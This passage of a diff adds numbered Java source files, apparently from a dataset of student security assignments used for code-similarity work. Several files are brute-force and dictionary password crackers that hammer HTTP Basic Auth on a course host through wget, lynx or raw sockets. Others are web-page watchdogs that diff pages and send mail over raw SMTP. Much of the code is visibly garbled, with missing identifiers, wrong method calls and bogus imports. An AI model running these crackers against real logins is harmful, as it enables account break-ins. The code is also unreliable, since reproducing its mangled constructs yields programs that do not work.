+              retval = s.runProcess(urlToSearch,pwd);  
+              if (retval > 0) {
+                 System.exit(0);
+              }
+           }
+        }
+      }
+
+    }  
+}     
+
+"
+033.java,"
+
+class WebPage
+{
+    
+    
+    private boolean success = false;
+    
+    private String pageContents= """";
+    
+
+	
+    public WebPage()
+    {
+    }
+    
+	
+    public void setSuccess (boolean inSuccess)
+    {
+        success = inSuccess;
+    }
+    
+	
+    public boolean getSuccess()
+    {
+        return success;
+    }
+    
+	
+    public void setPageContents (String inPage)
+    {
+        pageContents = inPage;
+    }
+    
+	
+    public String getPageContents()
+    {
+        return pageContents;
+    }
+}   
+"
+199.java,"
+
+import java.*;
+import java.io.*;
+import java.util.*;
+
+public class Dictionary
+{
+ public String[] passwds;
+ public int passwdNum;
+ public static void main(String[] args) throws IOException
+ {
+  Dictionary dic=new Dictionary();
+   dic.doDictionary();
+  System.exit(1);
+ }
+
+ void doDictionary() throws IOException
+ {
+  Runtime rt=Runtime.getRuntime();
+  passwds=new String[32768];
+  passwdNum=0;
+
+   time1=new Date().getTime();
+  
+  try
+  {
+		File f = new File (""words"");
+		FileReader fin = new FileReader (f);
+		BufferedReader buf = new BufferedReader(fin);
+		passwds[0]=""00"";
+		System.out.println("" loading words...."");
+		
+		{
+		 passwds[passwdNum]=buf.readLine();
+			 passwdNum++;
+		}while(passwds[passwdNum-1]!=null);
+		System.out.println(""Finish loading words."");
+  } catch (FileNotFoundException exc) {
+     System.out.println (""File Not Found"");
+  } catch (IOException exc) {
+     System.out.println (""IOException 1"");
+  } catch (NullPointerException exc) {
+	 System.out.println (""NullPointerException"");
+  }
+
+	 System.out.println("" cracking...."");
+	 for(int i=0;i<passwdNum;i++)
+	 {
+		try
+		{
+			
+			Process p=rt.exec(""lynx -auth=:""+passwds[i]+"" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+			
+			String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
+			p.destroy();
+
+			if(ln!=null)
+			
+			if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
+			{
+			 System.out.println(""Finish cracking."");
+			 System.out.println(ln);
+			 System.out.println(""Password is ""+passwds[i]);
+			 break;
+			}
+		} catch (FileNotFoundException exc) {
+				i--;
+		} catch (IOException exc) {
+				i--;
+		} catch (NullPointerException exc) {
+				i--;
+		}
+
+	 }
+
+    time2=new Date().getTime();
+   System.out.println(""costs ""+(time2-time1)+"" milliseconds"");
+ }
+
+}"
+166.java,"package java.httputils;
+
+import java.io.IOException;
+import java.net.MalformedURLException;
+import java.sql.Timestamp;
+
+
+public class RunnableBruteForce extends BruteForce implements Runnable
+{
+    protected int rangeStart, rangeEnd;
+    protected boolean stop = false;
+    
+    public RunnableBruteForce()
+    {
+        super();
+    }
+
+    
+    public void run()
+    {
+        process();
+    }
+
+    public static void main(String[] args)
+    {
+    }
+    
+    public int getRangeEnd()
+    {
+        return rangeEnd;
+    }
+
+    
+    public int getRangeStart()
+    {
+        return rangeStart;
+    }
+
+    
+    public void setRangeEnd(int i)
+    {
+        rangeEnd = i;
+    }
+
+    
+    public void setRangeStart(int i)
+    {
+        rangeStart = i;
+    }
+
+    
+    public boolean isStop()
+    {
+        return stop;
+    }
+
+    
+    public void setStop(boolean b)
+    {
+        stop = b;
+    }
+
+    public void process()
+    {
+        String password = """";
+        
+        System.out.println(Thread.currentThread().getName() +
+                            ""->  workload: "" +
+                            this.letters[getRangeStart()] + ""  "" +
+                            this.letters[getRangeEnd() - 1]);
+        setStart(new Timestamp(System.currentTimeMillis()));
+
+        for (int i = getRangeStart();
+            i < getRangeEnd();
+            i++)
+        {
+            System.out.println(Thread.currentThread().getName() +
+                    ""-> Trying words beginning with: "" +
+                    letters[i]);
+            for (int i2 = 0;
+                i2 < letters.length;
+                i2++)
+            {
+                for (int i3 = 0;
+                    i3 < letters.length;
+                    i3++)
+                {
+                    if (isStop())
+                    {
+                        return;
+                    }
+                    try
+                    {
+                        char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
+                        String pwd = new String(arr);
+                        
+                        if (Thread.currentThread().getName().equals(""Thread-1"") && pwd.equals(""bad""))
+                        {
+                            System.out.println(Thread.currentThread().getName() +
+                                   ""-> Trying password: "" +
+                                    pwd);
+                        }
+                        attempts++;
+
+                        BasicAuthHttpRequest req =
+                            new BasicAuthHttpRequest(
+                                getURL(),
+                                getUserName(),
+                                pwd);
+                        System.out.println(""Got the password"");
+                        setPassword(pwd);
+                        setEnd(new Timestamp(System.currentTimeMillis()));
+                        setContent(req.getContent().toString());
+
+                        
+                        this.setChanged();
+                        this.notifyObservers(this.getContent());
+                        return;
+                    }
+                    catch (MalformedURLException e)
+                    {
+                        e.printStackTrace();
+                        return;
+                    }
+                    catch (IOException e)
+                    {
+
+                    }
+                }
+            }
+        }
+
+        
+        setEnd(new Timestamp(System.currentTimeMillis()));
+    }
+
+}
+"
+232.java,"import java.util.*;
+import java.io.*;
+import java.*;
+
+public class WatchDog
+{
+   public static void main (String [] args) throws Exception
+   {      
+      executes(""rm index.*"");
+      executes(""wget http://www.cs.rmit.edu./students"");
+
+      while (true)
+      {
+         String addr= ""wget http://www.cs.rmit.edu./students"";
+         executes(addr);
+         String hash1 = md5sum(""index.html"");
+         String hash2 = md5sum(""index.html.1"");
+         System.out.println(hash1 +""|""+ hash2);
+      
+         if (hash1.equals(hash2))
+         {    
+         
+         }
+         else
+         {
+           executes("".~/Assign2/difference.sh"");            
+           executes("".~/Assign2/mail1.sh"");
+         }
+
+         executes(""rm index.html"");
+         executes(""cp index.html.1 index.html"");
+         executes(""rm index.html.1"");
+         executes(""sleep 86400""); 
+     }
+   }
+
+   public static void executes(String comm) throws Exception
+   {
+   Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm });
+
+         BufferedReader  = new BufferedReader(new InputStreamReader(p.getErrorStream()));
+
+         String s;
+         while(( s = bf.readLine()) != null)
+         {
+            System.out.println();
+         }
+	 p.waitFor();
+   }
+
+   public static String md5sum(String file) throws Exception
+   {
+      String s;
+      String hash= ""  "";      
+
+      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",
+                                             ""-c"", ""md5sum ""+file });
+      BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+      while((b = bf.readLine()) != null)
+      {
+         StringTokenizer word=new StringTokenizer();
+         hash=word.nextToken();
+         System.out.println(hash);
+      }
+      return hash;      
+
+   }
+}
+
+"
+008.java,"
+
+import java.io.*;
+import java.*;
+
+public class BruteForce 
+{
+   public static void main(String args[]) 
+   {
+      String s = null;
+      String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+      
+      String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
+     
+      String password = null;
+      int len = 0;
+      int num_tries = 0;
+
+      len = alphabets.length();
+      
+      
+      for (int i=0; i<len; i++)
+      {
+         for (int j=0; j<len; j++)
+	 {
+            for (int k=0; k<len; k++)
+	    {
+               try 
+               {
+                  
+                  password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k));
+               
+                  System.out.print(alphabets.charAt(i)); 
+                  System.out.print(alphabets.charAt(j)); 
+                  System.out.println(alphabets.charAt(k));      
+
+                  
+                  Process p = Runtime.getRuntime().exec(""wget --http-user= --http-passwd="" + password + "" "" + basic_url);
+                  
+                  BufferedReader stdInput = new BufferedReader(new 
+                     InputStreamReader(p.getInputStream()));
+
+                  BufferedReader stdError = new BufferedReader(new 
+                     InputStreamReader(p.getErrorStream()));
+
+                  
+                  while ((s = stdInput.readLine()) != null)
+                  {
+                     System.out.println(s);
+                  }
+                  
+                  
+                  while ((s = stdError.readLine()) != null)
+                  {
+                     System.out.println(s);
+                  }
+                  
+                  try
+		      {
+                     p.waitFor(); 
+                  }
+                  catch (InterruptedException g)  
+                  {
+                  }  
+
+                  num_tries++;
+                  
+                  if((p.exitValue()) == 0)
+                  {       
+                     System.out.println(""**********PASSWORD IS: "" + password);
+	             System.out.println(""**********NUMBER OF TRIES: "" + num_tries);
+                     System.exit(1);
+                  }
+               }
+               catch (IOException e)
+               {
+                  System.out.println(""exception happened - here's what I know: "");
+                  e.printStackTrace();
+                  System.exit(-1);
+               }
+            }
+         }
+      }
+   }
+}
+
+"
+202.java,"
+import java.io.*;
+import java.util.*;
+
+public class BruteForce
+{
+   private Cracker crack;
+   private Vector clients;
+   private int num;
+   private int bigStart;
+
+   public BruteForce()
+   {
+      int i, j;
+       int start, finish;
+      start=finish = 0;
+      
+      crack = new Cracker();
+      crack.loadLetters();
+      crack.loadPairs();
+      crack.loadTriples();
+      num = crack.getVictor().size();
+      clients = new Vector( num);
+      j = 0;
+      
+      bigStart = System.currentTimeMillis();
+      for( i = 0; i < num; i++)
+      {
+          MyClient2 client =  new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
+          
+          clients.add( client);
+	  Thread t = new Thread( client);
+	  t.print();
+          j++;
+          if(j == 100)
+          {
+             t = System.currentTimeMillis();
+             System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i));
+             finish = t;
+             while( (finish - t ) < 1000)
+             {
+                finish = System.currentTimeMillis();
+             }
+             j = 0;
+          }
+    
+      }
+   }
+   
+   public void retire(int MyClient2 )
+   {
+      int bigFinish;
+      bigFinish = t.getTime();
+      System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds  crack password using brute force"");
+      System.exit(0);
+   }
+   
+   public static void main (String[] args)
+   {
+      BruteForce  = new BruteForce();
+   }
+}
+      
+"
+182.java,"import java.net.*;
+import java.io.*;
+
+
+public class Dictionary extends Authenticator {
+
+    
+    private String username;
+    
+    private char [] thisPassword;
+    
+    private URL url;
+    
+    private BufferedReader bf;
+
+    
+    public static void main(String [] args) {
+        if(args.length!=3) {
+            System.err.println(
+                    ""usage: Dictionary <url> <username> <dictionary-file>"");
+            System.exit(1);
+        }
+        Dictionary d = null;
+        try {
+            d = new Dictionary(args[0], args[1], args[2]);
+        } catch (MalformedURLException me) {
+            me.printStackTrace();
+            System.exit(1);
+        } catch (FileNotFoundException fe) {
+            fe.printStackTrace();
+            System.exit(1);
+        }
+        d.work();
+    }
+
+    
+    public Dictionary(String url, String username, String passwordFilename) 
+            throws MalformedURLException, FileNotFoundException {
+        this.url = new URL(url);
+        this.username = username;
+        thisPassword = new char [] {'a'};
+        File f = new File(passwordFilename);
+        FileReader fr = new FileReader(f);
+        bf  = new BufferedReader(fr);
+    }
+
+    
+    public void work() {
+        Authenticator.setDefault(this);
+        HttpURLConnection uc = null;
+        try {                                                 
+            uc = (HttpURLConnection) url.openConnection();    
+            uc.connect();                                     
+            while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
+                thisPassword !=null) {
+                try {                                         
+                    InputStream is = uc.getInputStream();     
+                    uc.connect();                             
+                } catch (ProtocolException pe) {              
+                    uc = (HttpURLConnection) url.openConnection();          
+                } catch (NullPointerException npe) {          
+                    npe.printStackTrace();                    
+                    System.exit(1);                           
+                }                                             
+            }                                                 
+        } catch (java.io.IOException e ) {                    
+            e.printStackTrace();                             
+            System.exit(1);                                   
+        }                                                     
+        System.out.println(""password="" + new String(thisPassword));
+    }
+
+    
+    public PasswordAuthentication getPasswordAuthentication() {
+        String s=null;
+        try {
+            for(s = bf.readLine(); s!=null; s = bf.readLine()) {
+                if(s.length()==3) {
+                    break;
+                }
+            } 
+        } catch (IOException e) {
+            e.printStackTrace();
+            System.exit(1);
+        }
+        if(s.length()!=3) {
+            thisPassword = null;
+        } else {
+            thisPassword = s.toCharArray();
+        }
+        return new PasswordAuthentication(username, thisPassword);
+    }
+}
+"
+084.java,"
+
+import java.Thread;
+import java.io.*;
+import java.net.*;
+
+public class BruteForce extends Thread {
+    final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
+    final static int SUCCESS=1,
+                     FAILED=0,
+                     UNKNOWN=-1;
+    private static String host,
+                   path,
+                   user;
+    private Socket target;
+    private InputStream input;
+    private OutputStream output;
+    private byte[] data;
+    private int threads,
+                threadno,
+                response;
+    public static boolean solved = false;
+    BruteForce parent;
+
+
+    public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
+    {
+      super();
+      this.parent = parent;
+      this.host = host;
+      this.path = path;
+      this.user = user;
+      this.threads = threads;
+      this.threadno = threadno;
+    }
+
+    public void run()
+    {
+      response = FAILED;
+      int x = 0; 
+       starttime = System.currentTimeMillis();
+
+      for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
+      {
+        for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
+        {
+          for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
+          {
+            if((x % threads) == threadno) 
+                                          
+            {
+              response = tryLogin(CHARACTERS[i] + """" +  CHARACTERS[j] + CHARACTERS[k]);
+              if(response == SUCCESS)
+              {
+                System.out.println(""SUCCESS! (after "" + x + "" tries) The password is: ""+ CHARACTERS[i] +  CHARACTERS[j] + CHARACTERS[k]);
+                parent.solved = true;
+              }
+              if(response == UNKNOWN) System.out.println(""Unexpected response (Password: ""+ CHARACTERS[i] +  CHARACTERS[j] + CHARACTERS[k]+"")"");
+            }
+            x++;
+          }
+        }
+      }
+      if(response == SUCCESS)
+      {
+        System.out.println(""Used time: "" + ((System.currentTimeMillis() - starttime) / 1000.0) + ""sec."");
+        System.out.println(""Thread . "" + threadno + "" was the  one!"");
+      }
+    }
+
+    public static void main (String[] args)
+    {
+        BruteForce parent;
+        BruteForce[] attackslaves = new BruteForce[10]; 
+        if(args.length == 3)
+        {
+         host = args[0];
+         path = args[1];
+         user = args[2];
+        }
+        else
+        {
+          System.out.println(""Usage: BruteForce <host> <path> <user>"");
+          System.out.println("" arguments specified, using standard values."");
+          host = ""sec-crack.cs.rmit.edu."";
+          path = ""/SEC/2/index.php"";
+          user = """";
+        }
+        System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user);
+        System.out.println(""Using "" + attackslaves.length + "" happy threads..."");
+
+        parent = new BruteForce(host, path, user, 0, 0, null);
+
+        for(int i=0; i<attackslaves.length; i++)
+        {
+          attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
+        }
+        for(int i=0; i<attackslaves.length; i++)
+        {
+          attackslaves[i].print();
+        }
+
+    }
+
+    private int tryLogin(String password)
+    {
+      int success = -1;
+
+      try
+      {
+        data = new byte[12];
+        target = new Socket(host, 80);
+        input = target.getInputStream();
+        output = target.getOutputStream();
+        String base =  new pw.misc.BASE64Encoder().encode(new String(user + "":"" + password).getBytes());
+
+        output.write(new String(""GET "" + path + "" HTTP/1.0\r\n"").getBytes());
+        output.write(new String(""Authorization:  "" + base + ""\r\n\r\n"").getBytes());
+
+        input.print(data);
+        if(new String(data).endsWith(""401"")) success=0;
+        if(new String(data).endsWith(""200"")) success=1;
+      }
+      catch(Exception e)
+      {
+        System.out.println(e.getClass().getName() + "": "" + e.getMessage());
+      }
+      return success;
+    }
+
+}"
+198.java,"
+
+import java.*;
+import java.io.*;
+import java.util.*;
+import java.net.*;
+
+public class WatchDog
+{
+ public static void main(String[] args) throws IOException
+ {
+   sleepTime = 24*1000*60*60;
+  WatchDog wd=new WatchDog();
+  wd.doWget();
+  wd.doThreads(sleepTime);
+ }
+ public void doThreads(int sleepTime)
+ {
+   new MyThread(""thread"",sleepTime).start();
+ }
+
+ 
+ public void doWget()
+ {
+  Process p;
+  Runtime rt=Runtime.getRuntime();
+  try
+  {
+	 p=rt.exec(""wget -O test0.html http://www.cs.rmit.edu./students/"");
+   p.destroy();
+  }catch(IOException ioe)
+  {System.out.println(ioe);}
+  catch(NullPointerException npe)
+  {System.out.println(npe);}
+ }
+}
+
+class MyThread extends Thread
+{
+ private int sleepTime;
+ private int times;
+ private Process p;
+
+ public MyThread (String str, int s)
+ {
+  super(str);
+  times=1;
+  sleepTime=s;
+ }
+
+ public void run()
+ {
+  Runtime rt=Runtime.getRuntime();
+  char flags='1';
+  String[] differents=new String[2000];
+  int k,lineNum,diffNum;
+  boolean isDiff=false;
+  String result=""result\n"";
+
+
+  for(int i=0;i<times;i++)
+  {
+   try{
+    
+    sleep(sleepTime);
+   }
+   catch(InterruptedException e)
+   {}
+
+	 try{
+    p=rt.exec(""wget -O ""+flags+"".html http://www.cs.rmit.edu./students/"");
+    
+    p.destroy();
+    flags++;
+   }
+   catch(IOException ioe)
+   {System.out.println(ioe);}
+   catch(NullPointerException npe)
+   {System.out.println(npe);}
+
+  try
+  {
+   File f = new File (""""+(char)((int)flags-1)+"".html"");
+   File f1 = new File (""""+(char)((int)flags-2)+"".html"");
+   FileReader fin = new FileReader (f);
+   BufferedReader buf = new BufferedReader(fin);
+   FileReader fin1 = new FileReader (f1);
+   BufferedReader buf1 = new BufferedReader(fin1);
+   String line=""000"";
+   String line1=""000"";
+   k=0;lineNum=1;diffNum=0;
+
+   
+   
+   {
+	 if(line.compareTo(line1)!=0)
+	 {
+	  differents[k]=""line #""+lineNum+"": ""+line+"" <---> ""+line1;
+	  k++;
+	  isDiff=true;
+     }
+     line=buf.readLine();
+     line1=buf1.readLine();
+     lineNum++;
+     diffNum=k;
+     if(diffNum==2000)
+     {
+      System.out.println("" many differents  store!"");
+      System.exit(1);
+     }
+   }while(line!=null&&line1!=null);
+
+   
+   if(isDiff)
+   {
+    try
+    {
+     File diffFile=new File(""differents""+(char)((int)flags-2)+"".txt"");
+     FileWriter fw = new FileWriter (diffFile);
+     for(int j=0;j<diffNum;j++)
+      result+=differents[j]+'\n';
+     fw.write (result, 0, result.length());
+     fw.close ();
+    } catch (FileNotFoundException exc) {
+     System.out.println (""File Not Found2""+exc);
+    } catch (IOException exc) {
+     System.out.println (""IOException 1"");
+    } catch (NullPointerException exc) {
+	   System.out.println (""NullPointerException"");
+    }
+
+    
+
+		try
+		{
+			
+			Socket sk=new Socket(""yallara.cs.rmit.edu."",25);
+
+			
+			InputStreamReader input=new InputStreamReader(sk.getInputStream());
+			System.out.println(new BufferedReader(input).readLine());
+			
+			PrintStream output=new PrintStream(sk.getOutputStream());
+
+			output.print(""HELO mail.nowhere.\r\n"");
+			System.out.println(new BufferedReader(input).readLine());
+			output.print(""MAIL FROM:@cs.rmit.edu.\r\n"");
+			System.out.println(new BufferedReader(input).readLine());
+			output.print(""RCPT :@cs.rmit.edu.\r\n"");
+			System.out.println(new BufferedReader(input).readLine());
+			output.print(""DATA\r\n"");
+			System.out.println(new BufferedReader(input).readLine());
+			output.print(result+""\r\n"");
+			output.print("".\r\n"");
+
+			sk.close();
+
+
+		} catch (IOException exc) {
+     System.out.println (""IOException 3""+exc);
+    } catch (NullPointerException exc) {
+	   System.out.println (""NullPointerException"");
+    }
+
+   }
+
+  } catch (FileNotFoundException exc) {
+     System.out.println (""File Not Found3""+exc);
+  } catch (IOException exc) {
+     System.out.println (""IOException 1"");
+  } catch (NullPointerException exc) {
+	  System.out.println (""NullPointerException"");
+  }
+
+
+  }
+ }
+}
+
+"
+005.java,"
+
+
+import java.io.*;
+import java.util.*;
+import java.*;
+import java.net.*;
+
+public class WatchDog
+{
+
+   static Process p = null;
+   static Process qproc = null;
+
+   static BufferedReader bf = null;
+   static StringTokenizer tok = null;
+
+   static String Path = null;
+   static String str = null;
+   static String urlStr=null;
+   static boolean changed = false;
+
+   static File indexfile = new File(""index.html"");
+   static File tmpfile = new File(""tmpindex.html"");
+   static File mdfile = new File(""md5file.txt"");
+   static File tmpmdfile = new File(""tmpmd5file.txt"");
+   static PrintWriter mailwriter = null;
+
+
+   public static void main(String[] args) 
+   {
+
+      urlStr = ""http://www.cs.rmit.edu./"";
+
+      try
+      {
+         
+         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false)));
+
+         getLatest(urlStr);
+         parseFile(); 
+
+         mailwriter.read();
+
+         if(changed)
+         {
+            System.out.println(""Sending Mail"");
+            p = Runtime.getRuntime().exec(""./mailscript"");
+            p.waitFor();
+
+         }
+         else
+            System.out.println("" mail sent"");
+
+      }  catch (IOException ioe)
+         {
+            System.out.println(""IOException"");
+            ioe.printStackTrace();
+         }
+         catch (InterruptedException intex)
+         {
+            System.out.println(""Interrupted Exception"");
+            intex.printStackTrace();
+         }
+
+
+   }
+
+
+   static void getLatest(String urlStr)
+   { 
+      
+      URL url = null;
+      
+      try
+      {
+         url = new URL(urlStr);
+
+      } catch (MalformedURLException mfurl)
+        {
+           System.out.println(""Malformed URL"");
+           mfurl.printStackTrace();
+        }
+
+      try
+      {
+         mailwriter.println();
+
+         p = Runtime.getRuntime().exec(""/usr//pwd""); 
+         p.waitFor();
+         bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+
+         Path=bf.readLine();
+
+         if (indexfile.exists())
+         {
+            mailwriter.println(""File with name 'index.html' found in directory."");
+            mailwriter.println(""Renaming existing 'index.html'  'tmpindex.html..."");
+            p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile);
+            p.waitFor();
+            p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile);
+            mailwriter.println();
+            mailwriter.println(""File with name 'md5file.txt' found in directory."");
+            mailwriter.print(""Renaming existing 'md5file.txt'  'tmpmd5file.txt..."");
+
+            mailwriter.println(""."");
+
+            mailwriter.println();
+         }
+
+         mailwriter.println(""Downloading current version of site - "" + urlStr);
+         p = Runtime.getRuntime().exec(""/usr/local//wget ""+url);
+         p.waitFor();
+         if (!tmpfile.exists())
+         {
+            mailwriter.println(""File - "" + urlStr + ""index.html saved  disk for the first time."");
+         }
+
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (IndexOutOfBoundsException iobe)
+        {
+           System.out.println(""Index Out Of Bounds Exception"");
+           iobe.printStackTrace();
+        }
+        catch (Exception e)
+        {
+           System.out.println(""Exception"");
+           e.printStackTrace();
+        }
+   }
+
+   static void parseFile()
+   {
+
+      Vector imgVect = new Vector();
+
+      try
+      {
+         p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile);
+         p.waitFor();
+         bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+
+         while((str=bf.readLine())!=null)
+         {
+            bf = new StringTokenizer(str, ""\"""", false);
+          
+            while(bf.hasMoreTokens())
+            {
+               str=bf.nextToken();
+               if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
+                  imgVect.addElement(str);
+            }
+           
+         }
+
+      }catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (Exception e)
+        {
+           System.out.println(""Exception"");
+           e.printStackTrace();
+        }
+
+        mailwriter.println(""Creating file with md5sums of the webpage and images..."");
+        md5Create(imgVect);
+
+   }
+
+   static void md5Create(Vector imgVect)
+   {
+      String tmpString = null;
+      Vector imgNames = new Vector();
+
+      try
+      {
+         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
+ 
+         p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile);
+         p.waitFor();
+         bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+         pr.println(bf.readLine());
+   
+         for(int i=0; i<imgVect.size();i++)
+         {
+            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
+            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);
+
+            p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+(String)imgNames.elementAt(i));
+            p.waitFor();
+            bf= new BufferedReader(new InputStreamReader(
+                          p.getInputStream()));
+            pr.println(bf.readLine());
+            rmImgFile(Path+""/""+(String)imgNames.elementAt(i));
+         }
+         pr.get();
+
+      }  catch (IOException ioe)
+         {
+            System.out.println(""IOException"");
+            ioe.printStackTrace();
+         }
+         catch (InterruptedException intex)
+         {
+            System.out.println(""Interrupted Exception"");
+            intex.printStackTrace();
+         }
+
+      if (tmpmdfile.exists())
+         compVersions((imgVect.size())+1);
+
+   }
+
+   static void compVersions(int numlines)
+   {
+
+      int tmp = 0;
+      int x = 0;
+      String[] md5A = new String[numlines];
+      Vector tmpmd5V = new Vector(); 
+                                     
+                                     
+      String[] tmpmd5A = null;
+      StringTokenizer stoken  = null;
+      String mdImgName = null;
+      String mdImgVal = null;
+      String tmpImgName = null;
+      String tmpImgVal = null;
+
+      try
+      {
+
+         bf = new BufferedReader(new FileReader(mdfile));
+
+         while((str = bf.readLine()) != null)
+         {
+            md5A[tmp]=str;
+            tmp++;
+         }
+
+          bf= new BufferedReader(new FileReader(tmpmdfile));
+         tmp=0;
+
+         while ((str = bf.readLine()) !=null)
+         {
+            tmpmd5V.addElement(str);
+            tmp++;
+         }
+
+         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   
+
+         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
+         {
+            mailwriter.println(""---The file index.html has changed.---"");
+            mailwriter.println(""-Diff of old and new -"");
+            changed=true;
+            mailwriter.println();
+            p=Runtime.getRuntime().exec(""/usr/local//diff index.html tmpindex.html"");
+            p.waitFor();
+            bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+            while ((str = bf.readLine()) != null)
+               mailwriter.println(str);
+
+         }
+         else
+         {
+            mailwriter.println(""The file index.html hasn't changed."");
+            mailwriter.println();
+         }
+
+         mailwriter.println();
+         mailwriter.println(""Changes  Images"");
+         mailwriter.println(""-----------------"");
+
+
+         
+
+         for (tmp=1; tmp<md5A.length; tmp++) 
+         {
+            stoken = new StringTokenizer(md5A[tmp]);
+            mdImgVal = stoken.nextToken();
+            mdImgName = stoken.nextToken();
+            for (x=1; x<tmpmd5A.length; x++)
+            {
+               stoken = new StringTokenizer(tmpmd5A[x]);
+               tmpImgVal = stoken.nextToken();
+               tmpImgName = stoken.nextToken();
+
+               if (mdImgName.compareTo(tmpImgName) == 0)
+               {
+                  if(mdImgVal.compareTo(tmpImgVal) == 0)
+                  {
+                     
+                     break;
+                  }
+                  else
+                  {
+                     mailwriter.println(""The image ""+mdImgName+"" has changed."");
+                     changed=true;
+                     break;
+                  }
+               }
+               if (x == ((tmpmd5A.length)-1))
+               {
+                  mailwriter.println(""The image ""+mdImgName+"" is  new  this "");
+                  changed=true;
+               }
+            }
+         }
+
+         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
+         {
+            stoken = new StringTokenizer(tmpmd5A[tmp]);
+            tmpImgVal = stoken.nextToken();
+            tmpImgName = stoken.nextToken();
+            for (x=1; x<md5A.length; x++)
+            {
+               stoken = new StringTokenizer(md5A[x]);
+               mdImgVal = stoken.nextToken();
+               mdImgName = stoken.nextToken();
+               if (tmpImgName.compareTo(mdImgName) == 0)
+               {
+                  break;
+               }
+               if (x == ((md5A.length)-1))
+               {
+                  mailwriter.println(""The image ""+tmpImgName+"" is   longer  the "");
+                  changed=true;
+               }
+            }
+         }
+
+
+      } catch(IOException ioe)
+         {System.out.println(""IOException"");
+          ioe.printStackTrace();
+         }
+        catch(InterruptedException iex)
+         {System.out.println(""Interrupted Exception"");
+         iex.printStackTrace();
+         }
+
+   }
+
+
+   static Object getFullPath(String fname)
+   {
+      
+
+      if(fname.charAt(0)== '/') 
+         fname=urlStr+fname;  
+      else if(fname.charAt(0) != 'h')
+         fname=urlStr+'/'+fname;
+
+      getImgFile(fname);
+
+      return (Object)fname; 
+   }
+
+   static void getImgFile(String fullPath)
+   {
+      
+
+      try
+      {
+         qproc=Runtime.getRuntime().exec(""/usr/local//wget ""+fullPath);
+         qproc.waitFor();
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (InterruptedException intex)
+        {
+           System.out.println(""Interrupted Exception"");
+           intex.printStackTrace();
+        }
+   }
+
+   static void rmImgFile(String delpath)
+   {
+      
+
+      try
+      {
+         qproc=Runtime.getRuntime().exec(""/usr//rm ""+ delpath);
+         qproc.waitFor();
+
+      } catch (IOException ioe)
+        {
+           System.out.println(""IOException"");
+           ioe.printStackTrace();
+        }
+        catch (InterruptedException intex)
+        {
+           System.out.println(""Interrupted Exception"");
+           intex.printStackTrace();
+        }
+   
+   }
+
+   static Object getImgNames(String prsName)
+   {
+          
+  
+     String str = new StringTokenizer(prsName, ""/"", false);
+
+      while(bgf.hasMoreTokens())
+      {
+         str=bgf.nextToken();
+         if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
+            prsName=str;
+      }
+      return (Object)prsName;
+   }
+}
+"
+075.java,"
+
+
+
+import java.io.*;
+import java.net.*;
+
+public class WatchDog
+{
+   public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
+   {
+      final String fullurl = ""http://www.cs.rmit.edu./students/"";
+      final int waitperiod = 1000*60*60*24;
+      final String email = ""@cs.rmit.edu."";
+       lastmodified = 0;
+       lastmodifiedsave = 0;
+      boolean first = true;
+      URL url = new URL(fullurl);
+      while(true)
+      {
+         URLConnection uc = url.openConnection();
+         lastmodified = uc.getLastModified();
+         if(first)
+         {
+            
+            lastmodifiedsave = lastmodified;
+            first = false;
+            Execute ex1 = new Execute(""wget -q -nc -O  ""+fullurl);
+         }
+         
+         if(lastmodified != lastmodifiedsave)
+         {
+            lastmodifiedsave = lastmodified;
+            
+            Execute ex2 = new Execute(""mv  .old"");
+            
+            Execute ex3 = new Execute(""wget -q -nc -O  ""+fullurl);
